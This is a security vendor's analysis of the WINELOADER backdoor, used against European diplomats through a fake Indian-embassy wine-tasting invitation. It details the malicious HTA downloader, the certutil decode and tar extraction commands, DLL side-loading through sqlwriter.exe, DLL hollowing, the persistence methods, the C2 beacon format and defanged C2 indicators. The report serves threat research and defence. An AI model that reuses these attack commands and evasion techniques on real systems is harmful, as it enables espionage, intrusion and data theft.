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Security Research

European diplomats targeted by SPIKEDWINE with WINELOADER

SUDEEP SINGH, ROY TAY
February 27, 2024 - 11 min read

Introduction

Zscaler's ThreatLabz discovered a suspicious PDF file uploaded to VirusTotal from Latvia on January 30th, 2024. This PDF file is masqueraded as an invitation letter from the Ambassador of India, inviting diplomats to a wine-tasting event in February 2024. The PDF also included a link to a fake questionnaire that redirects users to a malicious ZIP archive hosted on a compromised site, initiating the infection chain. Further threat hunting led us to the discovery of another similar PDF file uploaded to VirusTotal from Latvia in July 2023.

This blog provides detailed information about a previously undocumented backdoor we named ‘WINELOADER'. We believe that a nation-state threat actor, interested in exploiting the geopolitical relations between India and diplomats in European nations, carried out this attack. The attack is characterized by its very low volume and the advanced tactics, techniques, and procedures (TTPs) employed in the malware and command and control (C2) infrastructure. While we have not yet attributed this attack to any known APT group, we have named this threat actor SPIKEDWINE based on the wine-related theme and filenames used in different stages of the attack chain, and our investigation into the case is ongoing.

Key Takeaways

  • Low-volume targeted attack: The samples intentionally targeted officials from countries with Indian diplomatic missions, although VirusTotal submissions indicate a specific focus on European diplomats.
  • New modular backdoor: WINELOADER has a modular design, with encrypted modules downloaded from the command and control (C2) server.
  • Evasive tactics: The backdoor employs techniques, including re-encryption and zeroing out memory buffers, to guard sensitive data in memory and evade memory forensics solutions.
  • Compromised infrastructure: The threat actor utilized compromised websites at multiple stages of the attack chain.

Attack Chain

Figure 1 below illustrates the multi-stage attack chain at a high level.

Figure 1: Multi-stage attack chain of WINELOADER.

Figure 1: Multi-stage attack chain of WINELOADER.

Technical Analysis

In this section, we provide a detailed analysis of each component of the attack chain initiated when a victim receives and clicks on the link within the PDF.

PDF analysis

The PDF file is a fake invitation to a wine-tasting event purported to take place at the Indian ambassador’s residence on February 2nd, 2024. The contents are well-crafted to impersonate the Ambassador of India. The invitation contains a link to a fake questionnaire, which kickstarts the infection chain.

The malicious link in the PDF invitation redirects users to a compromised site, hxxps://seeceafcleaners[.]co[.]uk/wine.php, that proceeds to download a ZIP archive containing an HTA file - wine.hta.

Figure 2 below shows the contents of the PDF file.

Figure 2: The PDF invitation showcasing the malicious link.

Figure 2: The PDF invitation showcasing the malicious link.

A quick analysis of the PDF file's metadata reveals that it was generated using LibreOffice version 6.4, and the time of creation was January 29th, 2024, at 10:38 AM UTC.

HTA file analysis

The HTA file downloaded in the previous section contains obfuscated JavaScript code, which executes the next stage of malicious activities. The obfuscation technique used in the code exhibits patterns that match those of the publicly available obfuscator obfuscator.io.

Figure 3 below shows a preview of the code inside the HTA file. Decoy content is displayed to the victim to disguise malicious activity. This content is similar to what was displayed in the original PDF (Figure 2 above) and includes information about the wine-tasting event in February 2024.

Figure 3: Obfuscated JavaScript code inside the HTA file.

Figure 3: Obfuscated JavaScript code inside the HTA file.

The HTA file performs the following key functions:

  • Downloads a Base64 encoded text file from the URL: seeceafcleaners[.]co[.]uk/cert.php
  • Saves the text file to the path: C:\Windows\Tasks\text.txt
  • Uses certutil.exe to Base64 decode the text file and write the result to a ZIP archive with the path: C:\Windows\Tasks\text.zip. The command used is: certutil -decode C:\Windows\Tasks\text.txt C:\Windows\\Tasks\text.zip
  • Extracts the contents of the ZIP archive to the path: C:\Windows\Tasks\. The command used is: tar -xf C:\Windows\Tasks\text.zip -C C:\Windows\Tasks\. The ZIP archive contains two files named sqlwriter.exe and vcruntime140.dll. Here, sqlwriter.exe is the legitimate binary signed by Microsoft and vcruntime140.dll is the malicious DLL crafted by the attacker which will be side-loaded automatically when sqlwriter.exe is executed. Per our research, sqlwriter.exe has never been abused in-the-wild by any threat actor for DLL side-loading (at least to the best of our knowledge). This implies that the threat actor in this case put in extra effort to identify a signed Microsoft executable vulnerable to DLL side-loading.
  • Executes sqlwriter.exe from the path: C:\Windows\Tasks\ which will kick start the infection chain.

WINELOADER binary analysis

When executing sqlwriter.exe, it loads a malicious DLL named vcruntime140.dll from the same directory using DLL side-loading. The exported function set_se_translator is then executed. This function decrypts the embedded WINELOADER core module within the DLL using a hardcoded 256-byte RC4 key before executing it. This is shown in the screenshot below.

Figure 4: Code section that decrypts and executes the WINELOADER core module.

Figure 4: Code section that decrypts and executes the WINELOADER core module.

Each module consists of configuration data (e.g., C2 polling interval), an RC4 key, and encrypted strings, followed by the module code. Part of the decrypted WINELOADER core module is shown in Figure 5 below.

Figure 5: Data structure containing relevant configuration, RC4 key, encrypted strings, and the module.

Figure 5: Data structure containing relevant configuration, RC4 key, encrypted strings, and the module.

WINELOADER employs the following techniques to evade detection:

  • Sensitive data is encrypted with a hardcoded 256-byte RC4 key. The sensitive data includes:
    • The core module and subsequent modules downloaded from the C2 server 
    • Strings (e.g. DLL filenames and API import function names)
    • Data sent and received from the C2 server
  • Some strings are decrypted on use and re-encrypted shortly after.
  • Memory buffers for storing results from API calls or decrypted strings are zeroed after use.

DLL hollowing is then used to inject WINELOADER into a randomly selected DLL from the Windows system directory. The implementation is similar to the one presented by SECFORCE in their blog. WINELOADER includes additional randomization code to ensure that different DLLs are chosen for each instance of DLL hollowing (see Figure 6).

Figure 6: The randomization code used when selecting a Windows system DLL for DLL hollowing.

Figure 6: The randomization code used when selecting a Windows system DLL for DLL hollowing.

WINELOADER is not injected into the following DLLs as they contain exported functions used by the malware:

  • advapi32.dll
  • api-ms-win-crt-math-l1-1-0.dll
  • api-ms-win-crt-stdio-l1-1-0.dll
  • bcryptprimitives.dll
  • iphlpapi.dll
  • kernel32.dll
  • kernelbase.dll
  • mscoree.dll
  • ntdll.dll
  • ole32.dll
  • rpcrt4.dll
  • shlwapi.dll
  • user32.dll
  • wininet.dll

WINELOADER will inject itself into another randomly selected DLL again via DLL hollowing before it sends the first beacon request to the C2 server.

The beacon request is an HTTP GET request containing a request body, which is unusual for GET requests. All requests to the C2 server use the same User-Agent, Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.1) Gecko/20100101 Firefox/86.1, hardcoded into the sample itself.

The body of the HTTP GET request is encrypted with the same 256-byte RC4 key and the fields are as follows. We have appended a question mark to fields that we are unable to conclusively verify due to the limited data collected. This information in available in the table below.

OffsetLengthNameDescription
0x02Length of padding bytes (n)This value is randomized (min: 255, max: 65535), stored in little-endian (LE).
0x2nPadding bytesPadding bytes are randomly generated with the ProcessPrng API.
0x2 + n8Campaign ID?5F D5 97 93 ED 26 CB 5A in the analyzed sample.
0xa + n8Session ID?Randomly generated on execution.
0x12 + n 8Local IP addressThe local IP address of the infected machine.
0x20 + n512Parent process nameIn Unicode
0x220 + n512User nameIn Unicode
0x420 + n30Machine nameIn Unicode
0x43e + n4Parent process IDIn little-endian
0x442 + n1Parent process token elevation typeInformation about the privileges of the token linked to the parent process.
0x443 + n8Polling interval for C2 requestsC0 d4 01 00 00 00 00 00 in the analyzed sample, translates to 120,000 ms or 2 mins between requests.
0x44b + n1Request type?1 for beacon, 2 for status update
0x44c + n8Length of messageIn little-endian. 0 for beacon requests
0x454 + n8Unknown?Observed to match the value of the request type field.
0x45c + n8Module ID?00 00 00 00 00 00 00 for the core module and 6B 19 A8 D2 69 2E 85 64 for the persistence module.
0x464 + nVariesMessageOnly observed for type 2 requests.

Table 1: WINELOADER C2 beacon request fields

An example beacon request is shown below. The value of the Content-Length header varies across requests, as the padding length is randomized with a minimum of 1,381 bytes.

GET /api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.1) Gecko/20100101 Firefox/86.1
Host: castechtools.com
Content-Length: 54674

54,674 bytes of binary data in the request body (not shown here)

The same RC4 key is then used to decrypt the response from the C2 server. The fields for the decrypted response are shown in the table below.

OffsetLengthNameDescription
0x02Length of padding bytes (n)This value is stored in little-endian (LE).
0x2nPadding bytesUnused bytes
0x2 + n8Campaign ID?5F D5 97 93 ED 26 CB 5A in the analyzed sample
0xa + n1CommandCommand from C2
0xb + n VariesCommand dataBinary data for command

Table 2: WINELOADER C2 response fields

The core module supports three commands:

  1. Execute modules from the C2 either synchronously or asynchronously (via CreateThread)
  2. Inject itself into another DLL
  3. Update the sleep interval between beacon requests

During our research, we obtained a persistence module from the C2 server. This module copies sqlwriter.exe and vcruntime.dll into the C:\Windows\Tasks directory and creates a scheduled task named MS SQL Writer with the description SQL Server VSS Writer 64-bit to execute C:\Windows\Tasks\sqlwriter.exe daily.

The persistence module offers an alternative configuration to establish registry persistence at HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS SQL Writer.

After establishing persistence for WINELOADER, the module sends an HTTP POST request to notify the C2 server about the completed task. The request body mirrors the structure of the beacon request.

Command And Control Infrastructure

The threat actor leveraged compromised network infrastructure at all stages of the attack chain. We identified three compromised websites used for hosting intermediate payloads or as C2 servers.

Based on our in-depth analysis of the C2 communication, we believe the C2 server only responds to specific types of requests at certain times. This measure prevents automated analysis solutions from retrieving C2 responses and modular payloads.

Conclusion

The threat discussed in this blog demonstrated advanced tactics, techniques, and procedures (TTPs), displaying a keen interest in exploiting the diplomatic relations between India and Europe. The threat actor put additional effort into remaining undetected by evading memory forensics and automated URL scanning solutions.

While we cannot currently attribute this activity to any known nation-state threat actor, we continue to monitor any new developments associated with this threat actor and ensure the necessary protections for our customers against these threats.

Zscaler Coverage

Zscaler sandbox coverage

Figure 7: Zscaler sandbox detection report

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to WINELOADER at various levels with the following threat names:

Indicators Of Compromise (IOCs)

SHA256

Description

72b92683052e0c813890caf7b4f8bfd331a8b2afc324dd545d46138f677178c4

vcruntime140.dll (WINELOADER core module loader)

ad43bbb21e2524a71bad5312a7b74af223090a8375f586d65ff239410bbd81a7 

wine.pdf (July 2023 invitation)

3739b2eae11c8367b576869b68d502b97676fb68d18cc0045f661fbe354afcb9 

wine.pdf (Feb 2024 invitation)

1c7593078f69f642b3442dc558cddff4347334ed7c96cd096367afd08dca67bc 

wine.hta

e477f52a5f67830d81cf417434991fe088bfec21984514a5ee22c1bcffe1f2bc

WINELOADER core module

f61cee951b7024fca048175ca0606bfd550437f5ba2824c50d10bef8fb54ca45

WINELOADER core module (RC4-encrypted)

c1223aa67a72e6c4a9a61bf3733b68bfbe08add41b73ad133a7c640ba265a19e

WINELOADER persistence module loader

b014cdff3ac877bdd329ca0c02bdd604817e7af36ad82f912132c50355af0920

WINELOADER persistence module

7600d4bb4e159b38408cb4f3a4fa19a5526eec0051c8c508ef1045f75b0f6083

WINELOADER persistence module (RC4-encrypted)

 

URL

Description

hxxps://castechtools[.]com/api.php

WINELOADER C2

hxxps://seeceafcleaners[.]co[.]uk/cert.php

Downloads base64-encoded ZIP archive from this URL.

hxxps://seeceafcleaners[.]co[.]uk/wine.php

Downloads the ZIP archive containing the wine.hta file.

hxxps://passatempobasico[.]com[.]br/wine.php

Downloads the ZIP archive containing the wine.hta file (IOC from July 2023).

 

MITRE ATT&CK Framework

ID

Tactic

Description

T1204.002

User Execution: Malicious File

The PDF file that masquerades as an invitation contains a malicious link.

T1656

Impersonation

The contents of the PDF are crafted to impersonate the Ambassador of India.

T1204.001

User Execution: Malicious Link

The PDF file contains a link that leads to the download of a malicious ZIP archive.

T1574.002

Hijack Execution Flow: DLL Side-Loading

sqlwriter.exe is used to DLL side-load vcruntime140.dll.

T1055.001

Process Injection: Dynamic-link Library Injection

DLL hollowing is used to load a randomly chosen system DLL into sqlwriter.exe process memory and inject WINELOADER in that DLL.

T1573.001

Encrypted Channel: Symmetric Cryptography

RC4 stream cipher is used to encrypt the data exchanged between WINELOADER and the C2 server. 

T1041

Exfiltration Over C2 Channel

Data is encrypted and exfiltrated to the C2 server.

T1584

Compromise Infrastructure

Compromised sites are used for hosting payloads and as a C2 server.

T1053.005

Scheduled Task/Job: Scheduled Task

A scheduled task with the name “MS SQL Writer” is created to ensure sqlwriter.exe is executed to kick-start the infection chain. 

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys/Startup Folder

WINELOADER can be configured to execute on Windows startup by setting the registry key at HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS SQL Writer. 

T1140

Deobfuscate/Decode Files or Information

WINELOADER strings and modules are encrypted with RC4. Sensitive data is often re-encrypted or zeroed out after use.

T1036.001

Masquerading: Invalid Code Signature

vcruntime140.dll has an invalid Microsoft code signing certificate.

T1036.004

Masquerading: Masquerade Task or Service

The scheduled task created for persistence masquerades as a legitimate Microsoft scheduled task.

T1027.007

Obfuscated Files or Information: Dynamic API Resolution

API names are decrypted before they are dynamically resolved and called.

T1027.009

Obfuscated Files or Information: Embedded Payloads

WINELOADER modules are encrypted with RC4 within vcruntime140.dll and C2 responses.

T1218.005

System Binary Proxy Execution: Mshta

mshta.exe executes wine.hta, which contains malicious JS downloader code.

T1033

System Owner/User Discovery

WINELOADER sends the current user and system name in each C2 request.

T1071.001

Application Layer Protocol: Web Protocols

WINELOADER communicates with its C2 via HTTPS. HTTP GET requests contain a request body that is atypical of such requests.

T1001.001

Data Obfuscation: Junk Data

WINELOADER prepends a randomized number of junk bytes to the request data before encrypting and sending it to the C2.

 

Appendix

Below is the full 256-byte RC4 key embedded inside WINELOADER that is used to encrypt and decrypt the information exchanged between the malware and the C2 server.

code sample

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